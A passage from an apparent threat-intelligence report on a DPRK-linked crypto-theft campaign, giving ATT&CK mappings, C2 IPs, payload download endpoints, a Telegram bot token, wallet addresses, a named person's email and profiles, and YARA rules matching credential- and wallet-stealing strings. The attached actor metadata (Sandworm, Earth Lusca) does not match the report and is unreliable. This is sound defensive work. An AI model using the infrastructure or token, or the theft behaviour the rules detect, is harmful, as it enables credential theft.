Web\r\nBrowsers\r\nT1555.003\r\nDiscovery TA0007 System Information Discovery T1082\r\nCollection TA0009 Data from Local System T1005\r\nCommand and\r\nControl\r\nTA0011 Application Layer Protocol: Web Protocols T1071.001\r\nCommand and\r\nControl\r\nTA0011 Non-Application Layer Protocol T1095\r\nCommand and\r\nControl\r\nTA0011 Encrypted Channel T1573\r\nCommand and\r\nControl\r\nTA0011 Remote Access Software T1219\r\nExfiltration TA0010 Exfiltration Over C2 Channel T1041\r\nExfiltration TA0010 Exfiltration Over Web Service T1567\r\nIndicators of Compromise (IOCs)\r\nMalware-Related IOCs\r\nType Indicator Notes\r\nInitial Multi-Payload Stager\r\n(tailwind.config.js\r\n/ Payload1)\r\n16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8\r\nSHA256 of\r\ninitial\r\npayload\r\nPayload1_1\r\n(Payload Stager)\r\nee3cc7c6bd58113f4a654c74052d252bfd0b0a942db7f71975ce698101aec305 SHA256\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 57 of 66\n\nType Indicator Notes\r\nPayload1_2\r\n(HTTP Payload\r\nStager)\r\nce47fef68059f569d00dd6a56a61aa9b2986bee1899d3f4d6cc7877b66afc2a6 SHA256\r\nPayload1_1_1\r\n(Dev#Popper.js\r\nRAT)\r\neefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30 SHA256\r\nPayload1_2_1\r\n(InfoStealer\r\nStager)\r\n8c0233a07662934977d1c5c29b930f4acd57a39200162cbd7d2f2a201601e201 SHA256\r\nPayload1_2_1_1\r\n(Python\r\nOmniStealer)\r\n7a62286e68d879b45da710e1daa495978dcae31ae8f0709018a7d82343ec57e8 SHA256\r\nPython Installer\r\nDownload\r\nhttp://[IP]:27017/d/python.zip\r\nDownloader\r\npath\r\nAlternative\r\nPython Installer\r\nhttp://[IP]:27017/d/python.7z\r\nDownloader\r\npath\r\n7-Zip Extractor\r\nDownload\r\nhttp://[IP]:27017/d/7zr.exe\r\nTool to\r\nextract\r\npayloads\r\nInfection Marker\r\n(mutex-like)\r\n/*C250618A*/\r\nMarker\r\nstring in\r\npayload\r\n(possible\r\nmutex or\r\ninfection\r\nflag)\r\nNetwork-Related IOCs\r\nType Indicator Notes\r\nC2 IP 23.27.20[.]143\r\nObfuscated dotted octet shown —\r\nuse deobfuscated 23.27.20.143 in\r\ndetections\r\nC2 IP 136.0.9[.]8 Payload1_1_1 and Payload1_2_1\r\nC2 IP 23.27.202[.]27 Payload1_1_1 and Payload1_2_1\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 58 of 66\n\nType Indicator Notes\r\nC2 IP 166.88.4[.]2 Payload1_1_1 and Payload1_2_1\r\nData exfil\r\nendpoint\r\n(Mongo-style)\r\nhttp://[IP]:27017/verify-human/[version]\r\nPort 27017 (Mongo) used as\r\nHTTP exfil channel\r\nEnv vars exfil http://[IP]:27017/snv endpoint name snv\r\nText\r\nnotifications\r\nHTTP C2\r\nPOST to {C2_IP}/verify-human/{channel}\r\nBehavioral rule: outbound HTTP\r\nPOSTs to /verify-human/\r\nPython installer\r\ndownloads\r\nhttp://[IP]:27017/d/python.zip ,\r\nhttp://[IP]:27017/d/python.7z\r\nMonitor any http download of\r\npython.zip/.7z from external IPs\r\n7-Zip Extractor\r\nDownload\r\nhttp://[IP]:27017/d/7zr.exe Tool to extract payloads\r\nPython payload\r\ndelivery\r\nhttp://[IP]:27017/$/z1 suspicious path $ and z1\r\nGitHub repo\r\n(URL)\r\nhttps[:]//github[.]com/isasmallbit/store-v obfuscated Github repo URL\r\nGitHub repo\r\ninvitation\r\nhxxps[://]github[.]com/isasmallbit/store-v/invitationsreceived via email from GitHub\r\n(noreply@github.com)\r\nURL (full) https[:]//github[.]com/isasmallbit/store-v same as above\r\nTelegram Bot\r\ntoken\r\n7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTUTelegram bot token — treat as\r\ncredential/secret\r\nTelegram\r\nchat_id(s)\r\n7609033774 (default), 7699029999 (v-A),\r\n4697384025 (v-0)\r\nChat IDs used for notifications\r\nEmail (operator /\r\ncontact)\r\nkarsy117@gmail[.]com operator email\r\nEmail (302\r\nresponse)\r\ndmgoodner@gmail.com observed in redirect/302 response\r\nLinkedIn profile\r\n(302 response)\r\nhttps://www.linkedin.com/in/duane-goodner/ used in redirect\r\nGitHub (302\r\nresponse)\r\nhttps://github.com/duanegoodner used in redirect\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 59 of 66\n\nType Indicator Notes\r\nURL (full\r\nGitHub)\r\nhttps://github.com/duanegoodner\r\nmonitor attempts to contact this\r\nresource\r\nCrypto / Blockchain IOCs (Separated)\r\nType Indicator Notes\r\nTRON Wallet\r\n(Payload1\r\nIndex 1)\r\nTMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\r\nTRON\r\naddress\r\n(starts T )\r\nTRON Wallet\r\n(Payload1\r\nIndex 2)\r\nTXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\r\nTRON\r\naddress\r\nTRON Wallet\r\n(Payload1_1\r\nIndex)\r\nTLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe\r\nTRON\r\naddress\r\nBSC Address\r\n(Payload1 and\r\nPayload1_1)\r\n0x9BC1355344B54DEDf3E44296916eD15653844509\r\nBSC\r\n(Ethereum-format)\r\naddress\r\nAptos Address\r\n(Payload1_1)\r\n0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837\r\nAptos / hex\r\n64\r\nAptos Hash\r\n(Payload1\r\nFallback 1)\r\n0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e tx/hash style\r\nAptos Hash\r\n(Payload1\r\nFallback 2)\r\n0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 tx/hash\r\nBSC Tx Hash\r\n(Payload1\r\nHash 1)\r\n0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc 0x + 64 hex\r\nBSC Tx Hash\r\n(Payload1\r\nHash 2)\r\n0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef 0x + 64 hex\r\nBSC Tx Hash\r\n(Payload1_1\r\n0xa8cdabea3616a6d43e0893322112f9dca05b7d2f88fd1b7370c33c79076216ff repeated in\r\nlist\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 60 of 66\n\nType Indicator Notes\r\nHash)\r\nYARA Rules\r\nRule 1:\r\nActor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_1_1Oct25\r\nrule Actor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_1_1Oct25\r\n{\r\n meta:\r\n rule_id = \"7919137c-de06-43cc-800a-76c726b45fbd\"\r\n date = \"16-10-2025\"\r\n author = \"Ransom-ISAC\"\r\n //Payload 1_2_1_1 OmniStealer\r\n description = \"Detects cluster of Python Scripts that are likely developed by a DPRK Nexus group\"\r\n filehash = \"742016f01fa89be4d43916d5d2349c8d86dc89f096302501ec22b5c239685a20\"\r\n strings:\r\n $bwr1 = \"microsoft-edge\" ascii\r\n $bwr2 = \"google-chrome\" ascii\r\n $bwr3 = \"Brave-Browser\" ascii\r\n $func1 = \"socket.gethostname()\" ascii\r\n $func2 = \"getpass.getuser()\" ascii\r\n $func3 = \"platform.platform()\" ascii\r\n $str1 = \"1Password\" ascii\r\n $str2 = \"secretstorage\" ascii\r\n $str3 = \"networkWallet\" ascii\r\n $str4 = \"readPassword\" ascii\r\n $str5 = \"cookie_files\" ascii\r\n $str6 = \"login_files\" ascii\r\n $str7 = \"credit_cards\" ascii\r\n $str8 = \"masterPassword\" ascii\r\n $str9 = \"moz_cookies\" ascii\r\n $str10 = \"http-upload\" ascii\r\n $str11 = \"tg-upload\" ascii\r\n $pass1 = \"ProtonPass\" ascii\r\n $pass2 = \"MEGAPass\" ascii\r\n $pass3 = \"DualSafe\" ascii\r\n $pass4 = \"FreePasswordManager\" ascii\r\n $pass5 = \"GoogleAuth\" ascii\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 61 of 66\n\n$params1 = \"osx_key_user\" ascii\r\n $params2 = \"osx_key_service\" ascii\r\n $params3 = \"os_crypt_name\" ascii\r\n $params4 = \"windows_keys\" ascii\r\n $params5 = \"osx_cookies\" ascii\r\n $params6 = \"windows_cookies\" ascii\r\n $params7 = \"linux_cookies\" ascii\r\n $params8 = \"osx_logins\" ascii\r\n $params9 = \"windows_logins\" ascii\r\n $params10 = \"linux_logins\" ascii\r\n $crpt1 = \"Bitwarden\" ascii\r\n $crpt2 = \"NordPass\" ascii\r\n $crpt3 = \"Dashlane\" ascii\r\n $crpt4 = \"kwallet\" ascii\r\n $pths1 = \"/.config/chromium/\" ascii\r\n $pths2 = \"/.config/opera/\" ascii\r\n $pths3 = \"/.config/BraveSoftware/\" ascii\r\n $pths4 = \"/.config/microsoft-edge\" ascii\r\n $pths5 = \"/.config/vivaldi/\" ascii\r\n $pths6 = \"%APPDATA%\\\\\\\\*\\\\\\\\*\\\\\\\\*\\\\\\\\User Data*\" ascii\r\n $walls1 = \"Dogecoin/wallets.dat\" ascii\r\n $walls2 = \"Bitcoin/wallets\" ascii\r\n $walls3 = \"Electrum/wallets\" ascii\r\n $walls4 = \"Exodus/exodus.wallet\" ascii\r\n $walls5 = \"Monero/wallets\" ascii\r\n $drv1 = \"iCloud Drive\" ascii\r\n $drv2 = \"SkyDrive\" ascii\r\n $drv3 = \"OneDrive\" ascii\r\n $drv4 = \"My Drive\" ascii\r\n $drv5 = \"Dropbox\" ascii\r\n $drv6 = \"pCloud\" ascii\r\n $drv7 = \"Box\" ascii\r\n $drv8 = \"iCloud\" ascii\r\n $drv9 = \"SkyDrive\" ascii\r\n $drv10 = \"GoogleDrive\" ascii\r\n $drv11 = \"Dropbox\" ascii\r\n $drv12 = \"Mega\" ascii\r\n condition:\r\n any of ($bwr*)\r\n and any of ($func*)\r\n and 5 of ($str*)\r\n and 2 of ($pass*)\r\n and 5 of ($params*)\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 62 of 66\n\nand 2 of ($crpt*)\r\n and 3 of ($pths*)\r\n and 2 of ($walls*)\r\n and 6 of ($drv*)\r\n and filesize \u003c 250KB\r\n /*------------------------Matches = 2---------------------------\r\n 742016f01fa89be4d43916d5d2349c8d86dc89f096302501ec22b5c239685a20 ---Communicating across found C2 infra\r\n a7d7075e866132b8e8eb87265f7b7fab0e9f6dd7f748445a18f37da2e989faa3 ---Communicating across found C2 infra\r\n */\r\n}\r\nRule 2:\r\nActor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_2_Oct25\r\nrule Actor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_2_Oct25\r\n{\r\n meta:\r\n rule_id = \"2c2a60ce-55cf-40ab-92c4-7ee961b0d00c\"\r\n date = \"17-10-2025\"\r\n author = \"Ransom-ISAC\"\r\n //Payload 1_2_1_1 OmniStealer\r\n description = \"Detects cluster of Python Scripts that are likely developed by a DPRK Nexus group\"\r\n filehash = \"236ff897dee7d21319482cd67815bd22391523e37e0452fa230813b30884a86f\"\r\n strings:\r\n $dot1 = \".onetoc2\" ascii\r\n $dot2 = \".onenote\" ascii\r\n $dot3 = \".one\" ascii\r\n $dot4 = \".kbdx\" ascii\r\n $func1 = \"socket.gethostname()\" ascii\r\n $func2 = \"getpass.getuser()\" ascii\r\n $func3 = \"platform.platform()\" ascii\r\n $pc1 = \"pc_name\" ascii\r\n $pc2 = \"pc_info\" ascii\r\n $pc3 = \"pc_login\" ascii\r\n $x1 = \"metamask\" ascii\r\n $x2 = \"phantom\" ascii\r\n $x3 = \"exodus\" ascii\r\n $x4 = \"atomic\" ascii\r\n $x5 = \"bitcoin\" ascii\r\n $x6 = \"ethereum\" ascii\r\n $x7 = \"solana\" ascii\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 63 of 66\n\n$x8 = \"aptos\" ascii\r\n $x9 = \"electrum\" ascii\r\n $x10 = \"tronlin\" ascii\r\n $x11 = \"coinbase\" ascii\r\n $x12 = \"binance\" ascii\r\n $y1 = \"gitconfig\" ascii\r\n $y2 = \"tsconfig\" ascii\r\n $y3 = \"bootconfig\" ascii\r\n $y4 = \"pw-config\" ascii\r\n $z1 = \"cli_mode\" ascii\r\n $z2 = \"dev_mode\" ascii\r\n $z3 = \"cli_mode\" ascii\r\n $z4 = \"debug_mode\" ascii\r\n condition:\r\n 2 of ($dot*)\r\n and any of ($func*)\r\n and any of ($pc*)\r\n and 6 of ($x*)\r\n and 2 of ($y*)\r\n and 2 of ($z*)\r\n and filesize \u003c 100KB\r\n}\r\nRule 3:\r\nActor_APT_DPRK_Unknown_MAL_Script_JS_Loader_Unknown_Strings_Oct25\r\nrule Actor_APT_DPRK_Unknown_MAL_Script_JS_Loader_Unknown_Strings_Oct25\r\n{\r\n meta:\r\n rule_id = \"dbcf26b3-7b8c-447d-97ad-43de0d6e42e6\"\r\n date = \"17-10-2025\"\r\n author = \"Ransom-ISAC\"\r\n description = \"Detects cluster of JS Scripts that are likely developed by a DPRK Nexus group\"\r\n filehash = \"be21bf4ad94c394202e7b52a1b461ed868200f0f03b3c8544984e9765c23e1e0\"\r\n strings:\r\n $hex = {676c6f62616c2e5f56203d202743352d62656e6566697427} //global._V = 'C5-benefit'\r\n $js1 = \"global.r\" ascii\r\n $js2 = \"global._V\" ascii\r\n $var1 = \"C5-benefit\" ascii\r\n $var2 = \"C250617A\" ascii\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 64 of 66\n\n$var3 = \"CHQG3L42MMQ\" ascii\r\n $var4 = {68 74 74 70 3a 2f 2f 22 20 2b 20 ?? 20 2b 20 22 3a (32 37 30 31 37 | 44 44 43)} //IP:Port pat\r\n $str1 = \"crypto\" ascii\r\n $str2 = \"socket\" ascii\r\n $str3 = \"hostname\" ascii\r\n $str4 = \"axios\" ascii\r\n $str5 = \"form-data\" ascii\r\n condition:\r\n $hex\r\n or (\r\n any of ($js*)\r\n and any of ($var*)\r\n and any of ($str*)\r\n )\r\n and filesize \u003c 75KB\r\n}\r\nRule 4:\r\nActor_APT_DPRK_Unknown_MAL_Script_JS_RAT_Unknown_Strings_Oct25\r\nrule Actor_APT_DPRK_Unknown_MAL_Script_JS_RAT_Unknown_Strings_Oct25\r\n{\r\n meta:\r\n rule_id = \"96fd2b7e-355e-43fc-a581-6ebda388b761\"\r\n date = \"19-10-2025\"\r\n author = \"Ransom-ISAC\"\r\n //Payload1_1_1 Cross-Platfrom NodeJS RAT\r\n description = \"Detects cluster of obfuscated JS Scripts that are likely developed by a DPRK Nexus grou\r\n filehash = \"eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30\"\r\n strings:\r\n $str1 = \"Promise\" ascii wide\r\n $str2 = \"['_V']\" ascii wide\r\n $str3 = \"['_R']\" ascii wide\r\n $str4 = \"atob\" ascii wide\r\n condition:\r\n all of them\r\n and filesize \u003c 100KB\r\n}\r\nRule 5: Actor_APT_DPRK_Unknown_MAL_Indicators_Strings_Oct25\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 65 of 66\n\nrule Actor_APT_DPRK_Unknown_MAL_Indicators_Strings_Oct25\r\n{\r\n meta:\r\n rule_id = \"10982aed-1c45-4864-a6ff-ffd19f38912d\"\r\n date = \"19-10-2025\"\r\n author = \"Ransom-ISAC\"\r\n description = \"Detects cluster of DPRK Nexus malware based on known artifacts\"\r\n strings:\r\n $XOR1 = {32 5b 67 57 66 47 6a 3b 3c 3a 2d 39 33 5a 5e 43}\r\n $XOR2 = {6d 36 3a 74 54 68 5e 44 29 63 42 7a 3f 4e 4d 5d}\r\n $XOR3 = {63 41 5d 32 21 2b 33 37 76 2c 2d 73 7a 65 55 7d}\r\n $XOR4 = {54 68 5a 47 2b 30 6a 66 58 45 36 56 41 47 4f 4a}\r\n $XOR5 = {34 23 75 4c 65 56 4d 5b 33 6c 45 53 4c 47 41}\r\n $XOR6 = {39 4b 79 41 53 74 2b 37 44 30 6d 6a 50 48 46 59}\r\n $XOR7 = {54 68 5a 47 2b 30 6a 66 58 45 36 56 41 47 4f 4a}\r\n $tron1 = \"TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\" ascii wide\r\n $tron2 = \"TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\" ascii wide\r\n $tron3 = \"TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatS\" ascii wide\r\n $aptos1 = \"be037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\" ascii wide\r\n $aptos2 = \"3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\" ascii wide\r\n $aptos3 = \"3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837\" ascii wide\r\n $bsc1 = \"f46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\" ascii wide\r\n $bsc2 = \"d33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef\" ascii wide\r\n $bsc3 = \"a8cdabea3616a6d43e0893322112f9dca05b7d2f88fd1b7370c33c79076216ff\" ascii wide\r\n $telegram = \"7870147428:AAGbYG_eYkiAziCKRmkiQF-\" ascii wide\r\n $marker = \"*C250617A*\" ascii wide\r\n $obfs1 = \"_$af402041\" ascii wide\r\n $obfs2 = \"_$af813180\" ascii wide\r\n $obfs3 = \"_$_2d00[]\" ascii wide\r\n condition:\r\n any of them\r\n}\r\nSource: https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 66 of 66",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/"
	],
	"report_names": [
		"cross-chain-txdatahiding-crypto-heist-part-2"
	],
	"threat_actors": [
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "4fc99d9b-9b66-4516-b0db-520fbef049ed",
			"created_at": "2025-10-29T02:00:51.949631Z",
			"updated_at": "2026-04-10T02:00:05.346203Z",
			"deleted_at": null,
			"main_name": "Contagious Interview",
			"aliases": [
				"Contagious Interview",
				"DeceptiveDevelopment",
				"Gwisin Gang",
				"Tenacious Pungsan",
				"DEV#POPPER",
				"PurpleBravo",
				"TAG-121"
			],
			"source_name": "MITRE:Contagious Interview",
			"tools": [
				"InvisibleFerret",
				"BeaverTail",
				"XORIndex Loader",
				"HexEval Loader"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df",
			"created_at": "2023-01-06T13:46:38.402513Z",
			"updated_at": "2026-04-10T02:00:02.959797Z",
			"deleted_at": null,
			"main_name": "Sandworm",
			"aliases": [
				"IRIDIUM",
				"Blue Echidna",
				"VOODOO BEAR",
				"FROZENBARENTS",
				"UAC-0113",
				"Seashell Blizzard",
				"UAC-0082",
				"APT44",
				"Quedagh",
				"TEMP.Noble",
				"IRON VIKING",
				"G0034",
				"ELECTRUM",
				"TeleBots"
			],
			"source_name": "MISPGALAXY:Sandworm",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "3a0be4ff-9074-4efd-98e4-47c6a62b14ad",
			"created_at": "2022-10-25T16:07:23.590051Z",
			"updated_at": "2026-04-10T02:00:04.679488Z",
			"deleted_at": null,
			"main_name": "Energetic Bear",
			"aliases": [
				"ATK 6",
				"Blue Kraken",
				"Crouching Yeti",
				"Dragonfly",
				"Electrum",
				"Energetic Bear",
				"G0035",
				"Ghost Blizzard",
				"Group 24",
				"ITG15",
				"Iron Liberty",
				"Koala Team",
				"TG-4192"
			],
			"source_name": "ETDA:Energetic Bear",
			"tools": [
				"Backdoor.Oldrea",
				"CRASHOVERRIDE",
				"Commix",
				"CrackMapExec",
				"CrashOverride",
				"Dirsearch",
				"Dorshel",
				"Fertger",
				"Fuerboos",
				"Goodor",
				"Havex",
				"Havex RAT",
				"Hello EK",
				"Heriplor",
				"Impacket",
				"Industroyer",
				"Karagany",
				"Karagny",
				"LightsOut 2.0",
				"LightsOut EK",
				"Listrix",
				"Oldrea",
				"PEACEPIPE",
				"PHPMailer",
				"PsExec",
				"SMBTrap",
				"Subbrute",
				"Sublist3r",
				"Sysmain",
				"Trojan.Karagany",
				"WSO",
				"Webshell by Orb",
				"Win32/Industroyer",
				"Wpscan",
				"nmap",
				"sqlmap",
				"xFrost"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa",
			"created_at": "2022-10-25T16:47:55.919702Z",
			"updated_at": "2026-04-10T02:00:03.618194Z",
			"deleted_at": null,
			"main_name": "IRON VIKING",
			"aliases": [
				"APT44 ",
				"ATK14 ",
				"BlackEnergy Group",
				"Blue Echidna ",
				"CTG-7263 ",
				"ELECTRUM ",
				"FROZENBARENTS ",
				"Hades/OlympicDestroyer ",
				"IRIDIUM ",
				"Qudedagh ",
				"Sandworm Team ",
				"Seashell Blizzard ",
				"TEMP.Noble ",
				"Telebots ",
				"Voodoo Bear "
			],
			"source_name": "Secureworks:IRON VIKING",
			"tools": [
				"BadRabbit",
				"BlackEnergy",
				"GCat",
				"NotPetya",
				"PSCrypt",
				"TeleBot",
				"TeleDoor",
				"xData"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6",
			"created_at": "2022-10-25T15:50:23.339976Z",
			"updated_at": "2026-04-10T02:00:05.27483Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"Sandworm Team",
				"ELECTRUM",
				"Telebots",
				"IRON VIKING",
				"BlackEnergy (Group)",
				"Quedagh",
				"Voodoo Bear",
				"IRIDIUM",
				"Seashell Blizzard",
				"FROZENBARENTS",
				"APT44"
			],
			"source_name": "MITRE:Sandworm Team",
			"tools": [
				"Bad Rabbit",
				"Mimikatz",
				"Exaramel for Linux",
				"Exaramel for Windows",
				"GreyEnergy",
				"PsExec",
				"Prestige",
				"P.A.S. Webshell",
				"AcidPour",
				"VPNFilter",
				"Neo-reGeorg",
				"Cyclops Blink",
				"SDelete",
				"Kapeka",
				"AcidRain",
				"Industroyer",
				"Industroyer2",
				"BlackEnergy",
				"Cobalt Strike",
				"NotPetya",
				"KillDisk",
				"PoshC2",
				"Impacket",
				"Invoke-PSImage",
				"Olympic Destroyer"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434479,
	"ts_updated_at": 1775792228,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f8b2cd213515c458e98a9d390603442b1f3ba200.pdf",
		"text": "https://archive.orkl.eu/f8b2cd213515c458e98a9d390603442b1f3ba200.txt",
		"img": "https://archive.orkl.eu/f8b2cd213515c458e98a9d390603442b1f3ba200.jpg"
	}
}